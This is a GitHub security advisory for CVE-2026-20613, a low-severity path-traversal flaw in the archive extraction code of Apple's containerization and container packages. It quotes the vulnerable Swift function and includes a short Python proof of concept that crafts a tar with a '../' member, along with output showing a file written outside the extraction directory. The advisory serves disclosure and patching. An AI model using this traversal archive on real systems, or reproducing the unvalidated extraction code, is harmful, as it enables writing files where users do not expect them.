GitHub Advisoryadvisory · SwiftURL

GHSA-cq3j-qj2h-6rv3 Container and Containerization archive extraction does not guard against escapes from extraction base directory.

LOW Published 2026-01-22 Modified 2026-01-22 Official page ↗
Aliases
CVE-2026-20613
Ecosystem
SwiftURL
Packages
github.com/apple/containerization, github.com/apple/container
Severity
Low
CVSS vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-22
Reviewed
2026-01-22

Affected packages

• SwiftURL github.com/apple/containerization: < 0.21.0 → fixed in 0.21.0 • SwiftURL github.com/apple/container: < 0.8.0 → fixed in 0.8.0

Description

Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } } ``` PoC Sample script `make-evil-tar.py`: ```python ! /usr/bin/env python3 import tarfile import io import time tar_path = "evil.tar" Content of the file inside the tar payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo( name="../../../../../../../../../../../tmp/pwned.txt" ) info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload)) print(f"Created {tar_path}") ``` ```console % ./make-evil-tar.py Created evil.tar % mv evil.tar /tmp % cd /tmp % ls pwned.txt ls: pwned.txt: No such file or directory % ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout" % cat pwned.txt pwned ``` Impact Affects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function. Affects users of `container image load` in the container project. These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

Related

Alias · CVE (1)

  • CVE-2026-20613 The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before… vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References